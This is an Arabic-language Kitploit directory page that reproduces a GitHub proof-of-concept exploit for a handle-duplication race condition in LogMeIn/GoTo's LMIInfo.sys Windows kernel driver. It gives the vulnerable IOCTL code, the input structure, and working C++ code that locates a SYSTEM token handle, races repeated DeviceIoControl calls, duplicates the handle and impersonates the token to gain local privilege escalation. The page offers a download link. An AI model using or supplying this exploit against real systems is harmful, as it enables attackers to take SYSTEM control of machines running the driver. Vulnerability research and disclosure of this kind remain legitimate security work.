Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
LogMeInPoCHandleDup — استغلال لثغرة حالة سباق في برنامج تشغيل نواة ويندوز لـ LogMeIn/GoTo يستنسخ مقابض SYSTEM، مما يتيح انتحال رمز مؤشر الترابط وتصعيد الامتيازات محلياً. | Kitploit
أدوات/GitHubGitHub/alfarom256/logmeinpochandledup
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاستغلال الملفات الثنائية
GitHubalfarom256/logmeinpochandledup

LogMeInPoCHandleDup

استغلال لثغرة حالة سباق في برنامج تشغيل نواة ويندوز لـ LogMeIn/GoTo يستنسخ مقابض SYSTEM، مما يتيح انتحال رمز مؤشر الترابط وتصعيد الامتيازات محلياً.

عرض المستودع
647منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تكرار المقبض في LogMeIn / GoTo LMIInfo.sys

الملخص

توجد حالة سباق (race condition) في برنامج التشغيل LMIInfo.sys الذي توفره LogMeIn / GoTo RMM، ويمكن من خلالها تكرار مقبض (handle) عشوائي من عملية النظام (SYSTEM). يعود السبب الجذري إلى عدم وجود تحكم مناسب في الوصول إلى كائن الجهاز، بالإضافة إلى القرار السيئ الواضح بتكرار مقابض يحددها المستخدم من عملية النظام.

التفاصيل

IOCTL: 0x9211001C

مخزن الإدخال:

root@kitploit:~
// LMI-Common.cpp
typedef struct LMI_INFO {
	DWORD64 qwPid;
	DWORD64 reserved0;
	DWORD64 handleValue;
	DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;

جدول التوزيع:

جدول التوزيع

الدالة المتأثرة:

الدالة المعرضة للخطر

عند جمع معلومات المقابض وتنفيذ معالجة السلاسل النصية، وبين استدعاءات ZwDuplicateObject/ZwClose، يمكن لعملية الاستدعاء تكرار المقبض المكرَّر. إذا نُفّذ ذلك بشكل صحيح، فسيستمر المقبض المكرَّر الثانوي في الوجود بعد إغلاق المقبض المكرَّر الأساسي.

لتفعيل الثغرة بشكل موثوق، يجب إنشاء جميع المقابض المستخدمة من قبل العملية قبل تفعيل حالة السباق. يتم الاستعلام عن المقبض الهدف من عملية النظام باستخدام الدالة التالية (يُستخدم رمز الخيط (thread token) كمثال):

root@kitploit:~
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
	HANDLE hHeap = GetProcessHeap();
	LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
	if (!lpBuf) {
		printf("HeapAlloc - %d\n", GetLastError());
		return INVALID_HANDLE_VALUE;
	}
	ULONG ulBytesReturned = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);

	while (status == 0xC0000004) {
		HeapFree(hHeap, 0, lpBuf);
		lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
		if (!lpBuf) {
			printf("HeapAlloc - %d\n", GetLastError());
			return INVALID_HANDLE_VALUE;
		}
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
	}


	if (status) {
		printf("Query for handles failed - %lx\n", status);
		return INVALID_HANDLE_VALUE;
	}

	PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;

	for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
		SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
		if (shtei.UniqueProcessId != 4) {
			continue;
		}
		printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
		if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
			printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
			return (HANDLE)shtei.HandleValue;
		}
	}

	return INVALID_HANDLE_VALUE;
}

بما أن قيم HANDLE تزداد بزيادات مقدارها 4، فإننا نحسب قيمة المقبض المكرَّر الأساسي عن طريق الحصول على عدد المقابض HANDLE وإضافة 4. وبناءً عليه، نفتح الجهاز وننشئ خيط "السباق" (racing thread) في حالة معلّقة قبل حساب قيمة المقبض التالي. ربما يمكن تنفيذ ذلك بطريقة أكثر استقرارًا و"دقة"، ونترك ذلك كتمرين للقارئ الأكثر مهارة على الأرجح، لول.

root@kitploit:~
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
	HANDLE highestHandle = 0;
	UINT32 u32NumHandles = 0;
	ULONG ulSizeReturned = 0;
	NTSTATUS status = 0;
	status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
	if (!NT_SUCCESS(status)) {
		return (HANDLE)-1;
	}

	return (HANDLE)((UINT64)++u32NumHandles * 4);
}

بمجرد اكتمال ذلك، يُستأنَف خيط السباق ويتم إرسال طلبات IOCTL متكررة:

root@kitploit:~
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
	puts("Entered DupeThread");
	if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
		printf("Invalid device handle passed to thread : %lx\n", GetLastError());
		return -1;
	}

	PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;

	DWORD dwBytesReturned = 0;
	LMI_INFO lmii = { 0 };
	lmii.qwPid = 4;
	lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know

	if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
		puts("Couldn't find a token handle in the system process??");
	}

	BOOL bRes = FALSE;
	LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);

	if (!lpOutBuf) {
		printf("HeapAlloc : %lx\n", GetLastError());
		return -1;
	}

	while (Dti->Run) {
		// call DeviceIoControl to start the race
		bRes = DeviceIoControl(
			Dti->hDevice,
			IOCTL_DUPE_LEL,
			&lmii,
			sizeof(LMI_INFO),
			lpOutBuf,
			0x1000,
			&dwBytesReturned,
			NULL
		);
	}	
}

الاعتبار التصميمي لخيط السباق يعود إلى ما يلي:

  • أنا سيئ في استغلال حالات السباق

يستدعي الخيط الرئيسي الدالة DuplicateHandle بشكل متكرر لتكرار المقبض المكرَّر الأساسي حتى ينجح التكرار، ويتم تعيين القيمة المنطقية العامة (global boolean) إلى false لإنهاء خيط السباق (أعلم، أعلم).

root@kitploit:~
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);

puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
    printf("Error resuming dupe thread - %lx\n", GetLastError());
    return -1;
}

while (!bRes) {
    bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}

dti.Run = FALSE;

if (bRes) {
    puts("ebin");
    printf("%llx - target\n", hTarget);
    printf("%llx - dup\n", hToken);
    bRes = SetThreadToken(NULL, hToken);
    if (!bRes) {
        printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
    }
    else {
        puts("Set the thread token!");
    }
}
else {
    printf("Failed to dupe token: %lx\n", GetLastError());
    return -1;
}

getchar();
return 0;

فيديو

تنزيل الأداة